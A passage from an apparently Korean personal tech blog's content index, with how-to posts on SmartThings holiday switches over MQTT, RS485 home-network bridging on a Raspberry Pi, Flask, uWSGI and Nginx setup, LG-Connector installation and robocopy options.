하는 코드를 작성할 계획이다.\n해당 Edge 드라이버 설치후 설정에서 위에서 설치한 MQTT Broker IP를 입력하자. 그리고 토픽은 \u0026quot;dayoff\u0026quot;로 명명할 계획이다.\n공공데이터포털 공공데이터포털 : https://www.data.go.kr/index.do\n위 Edge 드라이버로 장치를 생성했다면 공휴일 여부를 알려줄 코드를 작성할 차례다. 나는 '공공데이터포털'을 활용해 매년 달라지는 대체공휴일이나 선거일들을 등을 받아오도록 하였다. 먼저 공공데이터포털에 가입하고 아래 링크에서 '활용신청' 버튼을 눌러 인증키를 받자.\n한국천문연구원_특일 정보(xml) : https://www.data.go.kr/data/15012690/openapi.do\n서버 스크립트 작성 이제 서버 스크립트를 작성할 차례다. python으로 작성했고 다음과 같은 과정으로 휴일 여부를 체크했다.\n1 오늘 날짜 확인 -\u0026gt; 토,일요일 체크 -\u0026gt; 공공데이터포털에서 해당 월 공휴일 날짜 추출 -\u0026gt; 공휴일 여부 체크 필요한 python 모듈들은 다음과 같다.\n1 2 3 pip install requests pip install BeautifulSoup4 pip install lxml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requests import datetime from bs4 import BeautifulSoup import urllib.parse as urlparse import sys import paho.mqtt.client as mqtt def mqtt_pub(msg): broker_address = \u0026#39;localhost\u0026#39; broker_port = 1883 client = mqtt.Client(\u0026#39;Hello\u0026#39;) print(\u0026#34;[+] Connect to broker\u0026#34;) client.connect(host=broker_address, port=broker_port) client.publish(\u0026#39;dayoff\u0026#39;, msg) today = datetime.datetime.now().date() year = today.strftime(\u0026#39;%Y\u0026#39;) month = today.strftime(\u0026#39;%m\u0026#39;) day = today.strftime(\u0026#39;%d\u0026#39;) week = today.strftime(\u0026#39;%w\u0026#39;) compare_today = today.strftime(\u0026#39;%Y%m%d\u0026#39;) # 토, 일요일 여부 확인 if week == \u0026#39;0\u0026#39; or week == \u0026#39;6\u0026#39;: mqtt_pub(\u0026#39;on\u0026#39;) sys.exit() # 일반 인증키(Encoding) serviceKey = \u0026#39;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0026#39; # 공휴일 정보 조회 url = \u0026#39;http://apis.data.go.kr/B090041/openapi/service/SpcdeInfoService\u0026#39; operation = \u0026#39;getRestDeInfo\u0026#39; params = { \u0026#39;solYear\u0026#39;:year, \u0026#39;solMonth\u0026#39;:month } params = urlparse.urlencode(params) req = url + \u0026#39;/\u0026#39; + operation + \u0026#39;?\u0026#39; + params + \u0026#39;\u0026amp;\u0026#39; + \u0026#39;serviceKey\u0026#39; + \u0026#39;=\u0026#39; + serviceKey get_data = requests.get(req) if True == get_data.ok: soup = BeautifulSoup(get_data.content, \u0026#39;xml\u0026#39;) item = soup.findAll(\u0026#39;item\u0026#39;) #print(item) for x in item: #print(x.dateName.string, x.isHoliday.string, x.locdate.string) # 공휴일 여부 확인 if compare_today == x.locdate.string: mqtt_pub(\u0026#39;on\u0026#39;) sys.exit() mqtt_pub(\u0026#39;off\u0026#39;) python 스크립트 스케쥴러 등록 마지막으로 작성한 스크립트가 주기적으로 동작하면서 스위치에 공휴일 여부 상태값을 반영시켜줘야 한다. 나는 라즈베리파이에서 구동중으로 crontab에 아래와 같이 등록해 1시간 단위로 업데이트 하도록 하였다. 참고로 crontab은 root 권한이 아닌 user 권한으로 등록해야 라이브러리를 불러오는데 문제가 없다.\n1 1 * * * * /usr/bin/python3 /home/pi/dayoff/dayoff.py ","date":"2022-09-28T01:36:11+09:00","permalink":"/2022/09/28/smartthings-%EA%B3%B5%ED%9C%B4%EC%9D%BC-%EC%8A%A4%EC%9C%84%EC%B9%98-%EB%A7%8C%EB%93%A4%EA%B8%B0/","title":"Smartthings 공휴일 Edge 스위치 만들기"},{"content":"RS485 패킷을 확인하다 보니 국내 표준이 있어 글을 남긴다.\no 산업통상자원부 국가기술표준원(원장 제대식)은 홈네트워크 기기 교체시 발생하는 소비자의 불편 해소 및 소비자선택권 보장을 위해 국가표준(이하 KS)을 제정하였다고 밝혔다. o 그간 홈네트워크 중심기기와 주변기기의 통신규약(프로토콜)이 기기제조사별로 상이해 제조사간 기기호환이 곤란하고, 기기 고장시 소비자들은 교체기기를 구하기 힘든 애로를 겪어왔다. o 이번에 제정된 KS표준은 홈네트워크 제조 기업 간의 합의를 통해 홈네트워크 기기제어 통신프로토콜을 일치시킨 것이다.\n관련 링크 : https://standard.go.kr/KSCI/ksNotification/getKsNotificationView.do?ntfcManageNo=2016-00079\u0026menuId=921\u0026topMenuId=502\n","date":"2021-03-13T21:14:50+09:00","permalink":"/2021/03/13/rs485-%ED%8C%A8%ED%82%B7-%EB%B6%84%EC%84%9D-%EA%B4%80%EB%A0%A8-%EC%B0%B8%EA%B3%A0%EC%9E%90%EB%A3%8C/","title":"RS485 패킷 분석 관련 참고자료"},{"content":"개요 아파트의 각종 장비들을 제어하기 위해 기존에는 스마트폰 앱을 분석해 사용했으나 아파트 서버 장애시 제어가 안되는 등의 문제가 발생했습니다.\n그래서 홈 네트워크에 직접 장비를 연결해 RS485 패킷을 Wi-Fi로 연결해 제어코자 합니다.\n준비물 라즈베리파이, Elfin EW11A EW11 전원 연결 알리에서 주문한 EW11의 연결 커넥터를 보면 총 4개의 선이 연결되고 가운데가 전원입니다. +, - 극성에 잘 맞춰서 연결하면 되며 나의 경우 휴대폰 충전기로 연결했습니다. EW11 설정 전원이 연결되면 Wi-Fi로 EW11 장치가 나타납니다. 연결후 http://10.10.100.254 로 접속, admin / admin 으로 접속합니다. 이후 펌웨어를 업데이트 한다. 펌웨어는 아래 사이트에서 확인할 수 있습니다. http://www.hi-flying.com/firmware-1\n이후 네트워크 셋팅을 아래와 같이 설정합니다. 그리고 'Baud Rate'를 9600으로 변경합니다. RS485 라인 연결 이제 RS485 라인과 연결합니다. 저희집의 경우 난방조절기에 연결하는 것이 전원 콘센트도 가깝고 여러모로 편했습니다. 일반 UTP 케이블중 연선이 아닌 단선으로 연결하는 것이 좋습니다. 연결후 SerialPortMon 프로그램으로 RS485 패킷이 잘 들어오는지 확인해 봅니다. SerialPortMon 다운로드 : https://blog.daum.net/pg365/276 관련 패키지 설치 Node.js, git 설치 Node.js는 라즈베리파이의 ARM 버전을 확인하고 아래 사이트에서 최신 버전을 받아 설치하면 됩니다. 이 문서를 작성할 다시 최신버전은 v14.15.5 입니다. https://nodejs.org/en/download/\n1 2 3 4 5 6 7 8 $ uname -m armv7l $ wget https://nodejs.org/dist/v14.15.5/node-v14.15.5-linux-armv7l.tar.xz $ tar -xvf node-v14.15.5-linux-armv7l.tar.xz $ sudo mv node-v14.15.5-linux-armv7l /opt/nodejs $ sudo ln -s /opt/nodejs/bin/node /usr/bin/node $ sudo ln -s /opt/nodejs/bin/npm /usr/bin/npm $ sudo ln -s /opt/nodejs/bin/npx /usr/bin/npx suroup 설치 1 2 3 4 5 $ wget https://github.com/taijipp/suroup/archive/refs/heads/0.0.6.zip $ unzip 0.0.6.zip $ cd suroup-0.0.6 $ npm install $ node index.js 이후 http://설치주소/homenet 으로 들어가 기기들이 잘 등록되는지 확인합니다.\n자동 재시작 등록하기 1 2 3 $ npm install forever -g $ /opt/nodejs/bin/forever start -l /home/pi/suroup-0.0.6/ew.log -a /home/pi/suroup-0.0.6/index.js $ /opt/nodejs/bin/forever list 위 코드가 정상 동작함을 확인하면 아래와 같이 crontab에 등록\n1 2 # reboot시 suroup 재시작 @reboot /opt/nodejs/bin/forever start -l /home/pi/suroup-0.0.6/ew.log -a /home/pi/suroup-0.0.6/index.js Smartapp 및 DTH 설치 https://github.com/taijipp/suroup\n참고 : https://github.com/fornever2/485-connector\n신규 버전 관련 내용 참고-1 : https://cafe.naver.com/stsmarthome/66344\n참고-2 : https://github.com/taijipp/suroup/archive/refs/heads/0.2.0.zip\n1 2 3 4 5 6 7 8 9 10 11 12 # 1) 다운로드는 Github 개인 저장소에 존재 $ unzip 0.2.0.zip $ cd suroup-0.2.0 # 2) 심볼릭 링크 먼저 (node/npm/pm2 3개) $ sudo npm install -g pm2 $ sudo ln -sf /opt/nodejs/bin/node /usr/bin/node $ sudo ln -sf /opt/nodejs/bin/npm /usr/bin/npm $ sudo ln -sf /opt/nodejs/lib/node_modules/pm2/bin/pm2 /usr/bin/pm2 # 3) 의존성 — lock 그대로 $ npm ci .env 파일은 아래와 같이 작성한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 port=30110 oauth_id=suroup oauth_secret=12345 oauth_session_secret=12345 oauth_redirect_url= account_email=test@test.com account_pass=12345 client_id=스마트싱스 워크스페이스의 Client ID client_secret=스마트싱스 워크스페이스의 Client Secret type=ezville ew11_host=192.168.0.11 ew11_port=8899 esv_host= esv_port= deviceLight= deviceOutlet= deviceThermostat= deviceGasValve= deviceBreaker= deviceESV= 이후 자동 재시작을 위해 아래와 같이 등록하자.\n1 2 3 4 5 6 7 8 # 4) 기동 → 정상 확인 후 저장 $ pm2 start pm2.json $ pm2 logs --lines 30 --nostream # ← 여기서 3개 다 online 인지 먼저 확인 $ pm2 startup # 출력된 sudo 명령을 복사해서 실행 $ pm2 save # 5) 부팅 생존 확인 (가장 중요) $ sudo reboot ","date":"2021-03-01T21:46:05+09:00","permalink":"/2021/03/01/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90-485-connector-%EC%84%A4%EC%B9%98/","title":"라즈베리파이로 RS485 통신 하기 (suroup 활용)"},{"content":"최근 python thread로 타이머를 구현, 이를 uWSGI로 서비스 하는 과정에서 thread가 동작하지 않아 관련 내용을 정리함.\n예제코드는 아래와 같음.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import time import threading from flask import Flask i = 0 def thread_run(): global i while True: i += 1 time.sleep(3) app = Flask(__name__) th = threading.Thread(target=thread_run) th.start() @app.route(\u0026#39;/\u0026#39;) def index(): return str(i) if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=8888) 위 코드를 아래의 명령어로 uWSGI로 실행\n1 2 3 sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master --enable-threads sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master 위 명령어들로 각 각 80번 포트로 접근하면 모두 쓰레드가 동작하지 않음을 확인. 다시 아래 코드로 실행.\n1 sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app 잘 동작함! 이유는 --master 옵션에 있는 것으로 확인. 관련 내용은 아래 링크에 잘 정리되어 있음. https://stackoverflow.com/questions/32059634/python3-threading-with-uwsgi\n그럼 쓰레드를 동작시킬 방법은? 코드를 아래와 같이 수정.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import time import uwsgidecorators from flask import Flask i = 0 @uwsgidecorators.postfork @uwsgidecorators.thread def thread_run(): global i while True: i += 1 time.sleep(3) app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;) def index(): return str(i) if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=8888) 그리고 아래 명령어로 실행.\n1 sudo uwsgi --socket 0.0.0.0:8888 --protocol=http -w test --callable app --master --enable-threads uWSGI가 master 모드로 동작하며 쓰레드도 잘 동작함을 확인할 수 있음.\nuWSGI decorators에 괜찮은 기능이 많다. 상세내용은 아래 링크를 참조.\nhttps://uwsgi-docs.readthedocs.io/en/latest/PythonDecorators.html#module-uwsgidecorators https://pythonise.com/series/learning-flask/exploring-uwsgi-decorators\n","date":"2020-04-11T01:54:40+09:00","permalink":"/2020/04/11/python-%EC%93%B0%EB%A0%88%EB%93%9C%EB%A5%BC-uwsgi%EB%A1%9C-%EC%84%9C%EB%B9%84%EC%8A%A4%EC%8B%9C-%EB%AC%B8%EC%A0%9C%EC%A0%90/","title":"python 쓰레드를 uWSGI로 서비스시 문제점"},{"content":"필요 패키지 설치 1 2 3 $ sudo apt-get install python3 python3-pip nginx $ sudo pip3 install virtualenv $ sudo pip3 install uwsgi Virtualenv 설정 1 2 3 4 $ virtualenv .server $ source .server/bin/activate (.server) $ pip3 install flask (.server) $ pip3 install uwsgi uwsgi를 또 설치한 이유는 코드에서 uWSGI decorators를 사용하기 위함임\nFlask 코드 작성 1 2 3 4 5 6 7 8 9 10 # server.py from flask import Flask app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;) def hello(): return \u0026#39;world\u0026#39; if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;) uWSGI 동작 확인 1 (.server) $ uwsgi --socket 0.0.0.0:5000 --protocol=http -w server --callable app --venv .server --master 5000번 포트 접속시 world 메세지가 잘 나오는지 확인. 잘 나온다면 virtualenv를 나오자\n1 (.server) $ deactivate uWSGI 설정 파일 작성 server.ini 파일을 아래와 같이 작성하자\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [uwsgi] strict = true chdir = /home/pi/wallpad venv = /home/pi/wallpad/.server module = server callable = app master = true processes = 1 threads = 3 socket = /tmp/server.sock chmod-socket = 664 vacuum = true die-on-term = true log-4xx = true log-5xx = true disable-logging = true strict : This option tells uWSGI to only allow valid uWSGI options in the config file chdir : the base directory (full path) venv : python virtualenv path module : python filename master : Respawns processes when they die and handles much of the built-in prefork+threading multi-worker management, generally always advised processes : Adds concurrency to the app by adding n additional processes threads : Adds additional cuncurrency by adding n additional threads socket : sock file path chmod-socket : permissions of the socket file vacuum : Removes the socket when the process stops die-on-term : If running the uWSGI service with the init system (systemd, upstart), confirms both uWSGI and the init system have the same idea about what each process signal means log-4xx : log requests with a 4xx response log-5xx : log requests with a 5xx response disable-logging : disable request logging\n작성이 끝나면 아래 코드 실행후 /tmp/server.sock 파일이 생성되면 OK\n1 $ uwsgi --ini server.ini Nginx 설정 우선 default 파일을 삭제\n1 $ sudo rm /etc/nginx/sites-enabled/default 그리고 /etc/nginx/sites-available 경로에 아래 파일 작성\n1 2 3 4 5 6 7 8 9 10 11 12 server { listen 5000; server_name localhost; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:/tmp/server.sock; uwsgi_ignore_client_abort on; } } 작성이 끝나면 /etc/nginx/sites-enabled 경로에 작성한 파일을 심볼릭링크로 걸어줌.\n1 $ sudo ln -s /etc/nginx/sites-available/server /etc/nginx/sites-enabled nginx 설정파일 문법 확인후 재시작\n1 2 3 4 $ sudo nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful $ sudo service nginx restart Emperor 모드와 master 옵션간 문제 /home/pi/wallpad/uwsgi-emperor.log 파일을 보다보니 시작지점이 아래와 같은 WARNING 로그를 확인.\n1 *** WARNING: you are running uWSGI without its master process manager *** 분명 나는 /etc/uwsgi/apps-available/server.ini 파일에 \\'master = true\\'라고 명시해줬다. 그런데 master process manager가 동작하지 않는다고?! 관련 내용을 찾아보니 아래와 같은 내용이 있었다.\nThe emperor should generally not be run with --master, unless master features like advanced logging are specifically needed. https://uwsgi-docs.readthedocs.io/en/latest/Emperor.html#notes\n그리고 stackoverflow에도 질문 및 답변이 있었다. https://stackoverflow.com/questions/15055002/uwsgi-master-with-emperor-spawns-two-emperors\n그리하여 emperor는 쓰지 않고 /etc/rc.local 파일을 아래와 같이 수정\n1 $ /usr/local/bin/uwsgi --ini /home/pi/wallpad/server.ini 그리고 server.ini 파일에도 아래 3줄을 추가\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 [uwsgi] strict = true chdir = /home/pi/wallpad venv = /home/pi/wallpad/.server module = server callable = app master = true processes = 1 threads = 3 socket = /tmp/server.sock chmod-socket = 664 vacuum = true die-on-term = true log-4xx = true log-5xx = true disable-logging = true uid = www-data gid = www-data daemonize = /home/pi/wallpad/server.log ","date":"2020-04-10T23:52:17+09:00","permalink":"/2020/04/10/flask-%EC%84%9C%EB%B9%84%EC%8A%A4%EB%A5%BC-%EC%9C%84%ED%95%9C-uwsgi-nginx-%EC%84%A4%EC%A0%95-2/","title":"Flask 서비스를 위한 uWSGI + Nginx 설정"},{"content":"최근 아파트 월패드 시스템과 Smartthings를 연동을 위해 DTH를 뉴앱에 호환되도록 작성을 했다. 그런데 각종 타일들이 원하는대로 구성이 안되는 것을 확인, 힘들게 방법을 찾아 기록해둔다.\n우선 Smartthings 클래식 앱과는 다르게 뉴앱은 vid(Device id로 추정)를 지정하면 타일이 자동으로 구성된다. 그럼 vid를 어디서 확인할 수 있느냐?\n아직까지 Smartthings 뉴앱의 타일 구성 등 DTH 작성에 대한 공식적인 문서는 없다. 하지만 커뮤니티를 열심히 찾다보니 아래와 같은 글을 발견! https://community.smartthings.com/t/device-handler-update-to-support-new-stsc-app/163877\n해당글에 따르면 우선 난방조절기를 위해 여러개의 vid가 존재함을 확인\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 vid: \u0026#34;generic-radiator-thermostat\u0026#34; main tile temp temp set heating set mode battery vid: \u0026#34;generic-radiator-thermostat-1\u0026#34; main tile power refersh temp set cooling set heating operating state set mode set fan set heating set cooling set mode operating state battery set temp line? vid: \u0026#34;generic-radiator-thermostat-2\u0026#34; main tile temp Temp set temp heating battery vid: \u0026#34;generic-radiator-thermostat-3\u0026#34; main tile power refersh temp set cooling set heating operating state set mode set fan set heating set cooling set mode operating state battery set temp line? vid: \u0026#34;generic-thermostat\u0026#34; main tile power refersh temp set cooling set heating operating state set mode set fan set heating set cooling set mode operating state battery set temp line? vid: \u0026#34;generic-thermostat-1\u0026#34; main tile temp temp set temp heating and cooling operating state set mode set fan mode battery vid: \u0026#34;generic-thermostat-2\u0026#34; main tile switch switch refresh temp set cooling set heating operating state set mode set fan mode set heating set cooling set mode operating state battery set temp line? vid:\u0026#34;SmartThings-smartthings-Z-Wave_Thermostat\u0026#34; main tile temp temp set heating and cooling operating state set mode set fan mode 우리집은 현재온도, 설정온도 이렇게 2가지만 표시할 수 있는 타일이 필요하므로 vid를 'generic-radiator-thermostat-2'로 정하고 metadata는 아래와 같이 구성했다.\n1 2 3 4 5 6 7 8 metadata { definition (name: \u0026#34;Heating\u0026#34;, namespace: \u0026#34;ByJJoon\u0026#34;, author: \u0026#34;ByJJoon\u0026#34;, vid: \u0026#34;generic-radiator-thermostat-2\u0026#34;) { capability \u0026#34;Thermostat\u0026#34; capability \u0026#34;Thermostat Heating Setpoint\u0026#34; capability \u0026#34;Thermostat Cooling Setpoint\u0026#34; capability \u0026#34;Temperature Measurement\u0026#34; } } 내가 선택한 vid에는 'battery'가 기본적으로 나오게 되어 있으나 capability에 Battery를 추가해주지 않아 표시가 되지 않는다.\n이렇게 작성하면 클래식앱에서 필요한 tiles{...} 같은 코드 없이 자동으로 타일이 구성, 아이콘도 이쁜 아이콘으로 적용된다.\n이외에도 여러 vid 및 Capabilities를 참고할 수 있는 페이지도 있어 링크를 걸어둔다. https://vid-selector.glitch.me/ https://smartthings.developer.samsung.com/docs/api-ref/capabilities.html#Capabilities\n공식문서가 나오기 전까지 Smartthings 뉴앱 기반에서 DTH 작성에 도움이 되길 바라며.....\n","date":"2020-03-17T17:59:11+09:00","permalink":"/2020/03/17/smartthings-%EB%89%B4%EC%95%B1%EC%97%90%EC%84%9C-%ED%83%80%EC%9D%BC-%EA%B5%AC%EC%84%B1%ED%95%98%EA%B8%B0/","title":"Smartthings 뉴앱에서 타일 구성하기"},{"content":"Smartthings에 집에 있는 LG 건조기를 연동하기 위해 lg-connector를 라즈베리파이에 설치해보았다. 참고 : https://github.com/fison67/LG-Connector/blob/master/README.md\n라즈베리파이에 LG-Connector 설치\n1 2 3 4 5 sudo mkdir /docker sudo mkdir /docker/lg-connector sudo chown -R pi:pi /docker sudo docker pull fison67/lg-connector:0.0.5 sudo docker run -d --restart=always -v /docker/lg-connector:/config --name=lg-connector --net=host -e TZ=Asia/Seoul fison67/lg-connector:0.0.5 LG-Connector 설정\n1 2 3 4 5 6 7 8 1. Open LG Connector web settings page (http://X.X.X.X:30020/) 2. Default Login ID \u0026amp; Password is [ admin / 12345 ] 3. Select a System IP Address. \u0026amp; Press a Save button. 4. Open a LG Connector of Smartapp. Fill in the blanks. Press Save button. 5. Go to the Smartthinq tab of web setting page \u0026amp; Press a Get Token button. You can see a new window. Login by your lg account. When you success a login, Copy an url of brower and paste it to box of Refresh Token. 5. Restart LG Connector Docker container DTH 설치\n1 2 3 4 5 6 7 8 9 10 11 1. Go to the SmartThings IDE 2. Select the My Device Handlers tab 3. Click on the \u0026#34;Settings\u0026#34; button 4. Click on the \u0026#34;Add new repository\u0026#34; option and fill in the following information: Owner: fison67 Name: LG-Connector Branch: master 5. Click on the \u0026#34;Save\u0026#34; button 6. Click on the \u0026#34;Update from Repo\u0026#34; button and select the \u0026#34;LG-Connector (master)\u0026#34; option 7. Check the checkbox for the device types you need (or all of them) in the \u0026#34;New (only in GitHub)\u0026#34; column 8. Check the \u0026#34;Publish\u0026#34; checkbox and click on the \u0026#34;Execute Update\u0026#34; button 스마트앱 설치\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1. Go to the SmartThings IDE 2. Select the My SmartApps tab 3. Click on the Settings button 4. Click on the \u0026#34;Add new repository\u0026#34; option and fill in the following information: Owner: fison67 Name: LG-Connector Branch: master 5. Click on the \u0026#34;Save\u0026#34; button 6. Click on the \u0026#34;Update from Repo\u0026#34; button and select the \u0026#34;LG-Connector (master)\u0026#34; option 7. Check the checkbox for the device types you need (or all of them) in the \u0026#34;New (only in GitHub)\u0026#34; column 8. Check the \u0026#34;Publish\u0026#34; checkbox and click on the \u0026#34;Execute Update\u0026#34; button 9. Select the My SmartApps tab 10. Click on the \u0026#34;Edit Properties\u0026#34; button for the LG Connector SmartApp (fison67 : LG Connector) 11. Click on the \u0026#34;OAuth\u0026#34; option and click on the \u0026#34;Enable OAuth\u0026#34; button 12. Click on the \u0026#34;Update\u0026#34; button ","date":"2020-03-08T19:33:38+09:00","permalink":"/2020/03/08/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90-lg-connector-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"라즈베리파이에 LG-Connector 설치하기"},{"content":"기본 사용법\n1 robocopy 원본 대상 옵션 미러링 카피(/MIR)\n하위 디렉토리까지 복사, 원본에 없는 파일이나 디렉토리를 자동 삭제.\n1 robocopy E:\\사진모음 F:\\사진모음 /MIR /LOG+:Backup_%date%.log 옵션 설명\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 ------------------------------------------------------------------------------- ROBOCOPY :: Windows용 견고한 파일 복사 ------------------------------------------------------------------------------- 시작됨: 2020년 2월 23일 일요일 오후 1:19:16 사용법 :: ROBOCOPY 원본 대상 [파일 [파일]...] [옵션] 원본 :: 원본 디렉터리(드라이브:\\경로 또는 \\\\서버\\공유\\경로) 대상 :: 대상 디렉터리(드라이브:\\경로 또는 \\\\서버\\공유\\경로) 파일 :: 복사할 파일입니다. 이름/와일드카드: 기본값은 \u0026#34;*.*\u0026#34;입니다. :: :: 복사 옵션: :: /S :: 비어 있는 디렉터리는 제외하고 하위 디렉터리를 복사합니다. /E :: 비어 있는 디렉터리를 포함하여 하위 디렉터리를 복사합니다. /LEV:n :: 원본 디렉터리 트리의 최상위 n개 수준만 복사합니다. /Z :: 다시 시작 모드에서 파일을 복사합니다. /B :: 백업 모드에서 파일을 복사합니다. /ZB :: 다시 시작 모드를 사용합니다. 액세스가 거부된 경우 백업 모드를 사용합니다. /J :: 버퍼를 사용하지 않은 I/O로 복사합니다(큰 파일에 권장). /EFSRAW :: EFS RAW 모드에서 암호화된 모든 파일을 복사합니다. /COPY:copyflag[s] :: 파일에 대해 복사할 내용입니다. 기본값은 /COPY:DAT입니다. (copyflags : D=데이터, A=특성, T=타임스탬프). (S=보안=NTFS ACL, O=소유자 정보, U=감사 정보). /SEC :: 보안된 파일을 복사합니다. /COPY:DATS와 동일합니다. /COPYALL :: 모든 파일 정보를 복사합니다. /COPY:DATSOU와 동일합니다. /NOCOPY :: 파일 정보를 복사하지 않습니다. /PURGE와 사용하면 좋습니다. /SECFIX :: 건너뛴 파일도 포함하여 모든 파일의 파일 보안을 수정합니다. /TIMFIX :: 건너뛴 파일도 포함하여 모든 파일의 파일 시간을 수정합니다. /PURGE :: 원본에 없는 대상 파일/디렉터리를 삭제합니다. /MIR :: 디렉터리 트리를 미러링합니다. /E와 /PURGE를 함께 쓰는 것과 동일합니다. /MOV :: 파일을 이동합니다. 복사한 다음 원본에서 삭제합니다. /MOVE :: 파일 및 디렉터리를 이동합니다. 복사한 다음 원본에서 삭제합니다. /A+:[RASHCNET] :: 제공된 특성을 복사된 파일에 추가합니다. /A-:[RASHCNET] :: 제공된 특성을 복사된 파일에서 제거합니다. /CREATE :: 디렉터리 트리와 길이가 0인 파일만 만듭니다. /FAT :: 8.3 FAT 파일 이름만 사용하여 대상 파일을 만듭니다. /256 :: 256자를 초과하는 매우 긴 경로에 대한 지원을 사용하지 않습니다. /MON:n :: 원본을 모니터링합니다. n개 이상의 변경 내용이 표시된 경우 다시 실행합니다. /MOT:m :: 원본을 모니터링합니다. 변경 내용이 있으면 m분 후에 다시 실행합니다. /RH:hhmm-hhmm :: 실행 시간 - 새 복사본을 시작할 수 있는 시간입니다. /PF :: 통과 기준이 아닌 파일당 기준으로 실행 시간을 확인합니다. /IPG:n :: 패킷 간 간격(ms), 저속 회선에서 사용 가능한 대역폭을 확보합니다. /SL :: 대상에 대한 심볼 링크를 복사합니다. /MT[:n] :: n개의 스레드가 있는 다중 스레드를 복사합니다(기본값 8). n은 1 이상 128 이하여야 합니다. 이 옵션은 /IPG 및 /EFSRAW 옵션과 호환되지 않습니다. 성능을 향상시키려면 /LOG 옵션을 사용하여 출력을 리디렉션하세요. /DCOPY:copyflag[s] :: 디렉터리에 대해 복사할 내용(기본값은 /DCOPY:DA). (copyflags : D=데이터, A=특성, T=타임스탬프). /NODCOPY :: 디렉터리 정보 복사 안 함(기본적으로 /DCOPY:DA 수행). /NOOFFLOAD :: Windows 복사본 오프로드 메커니즘을 사용하지 않고 파일을 복사합니다. :: :: 파일 선택 옵션: :: /A :: 보관 특성 집합이 있는 파일만 복사합니다. /M :: 보관 특성이 있는 파일만 복사하고 보관 특성을 해제합니다. /IA:[RASHCNETO] :: 지정된 특성을 가진 파일만 포함합니다. /XA:[RASHCNETO] :: 지정된 특성을 가진 파일을 제외합니다. /XF file [file]... :: 지정된 이름/경로/와일드카드와 일치하는 파일을 제외합니다. /XD dirs [dirs]... :: 지정된 이름/경로와 일치하는 디렉터리를 제외합니다. /XC :: 변경된 파일을 제외합니다. /XN :: 새 파일을 제외합니다. /XO :: 오래된 파일을 제외합니다. /XX :: 추가 파일 및 디렉터리를 제외합니다. /XL :: 고립된 파일 및 디렉터리를 제외합니다. /IS :: 같은 파일을 포함합니다. /IT :: 조정된 파일을 포함합니다. /MAX:n :: 최대 파일 크기 - n바이트를 초과하는 파일을 제외합니다. /MIN:n :: 최소 파일 크기 - n바이트 미만의 파일을 제외합니다. /MAXAGE:n :: 최대 파일 사용 기간 - n일/날짜보다 오래된 파일을 제외합니다. /MINAGE:n :: 최소 파일 사용 기간 - n일/날짜보다 최신 파일을 제외합니다. /MAXLAD:n :: 최대 마지막 액세스 날짜 - n 이후에 사용되지 않은 파일을 제외합니다. /MINLAD:n :: 최소 마지막 액세스 날짜 - n 이후에 사용된 파일을 제외합니다. n이 1900보다 크면 n은 n일과 같고 그렇지 않으면 n은 YYYYMMDD 날짜입니다. /XJ:: 심볼 링크와 연결 지점을 제외합니다. 일반적으로 기본값으로 포함됩니다. /FFT :: FAT 파일 시간(2초 단위)을 가정합니다. /DST :: 1시간의 DST 시간 차이를 보완합니다. /XJD :: 디렉터리의 연결 지점과 심볼 링크를 제외합니다. /XJF:: 파일의 심볼 링크를 제외합니다. /IM :: 수정된 파일을 포함합니다 (변경 시간에 차이가 있음). :: :: 다시 시도 옵션: :: /R:n :: 실패한 복사본에 대한 다시 시도 횟수입니다. 기본값은 1백만입니다. /W:n :: 다시 시도 간 대기 시간입니다. 기본값은 30초입니다. /REG :: /R:n 및 /W:n을 레지스트리에 기본 설정으로 저장합니다. /TBD :: 정의할 공유 이름을 기다립니다(다시 시도 오류 67). :: :: 로깅 옵션: :: /L :: 목록 전용 - 파일을 복사 또는 삭제하거나 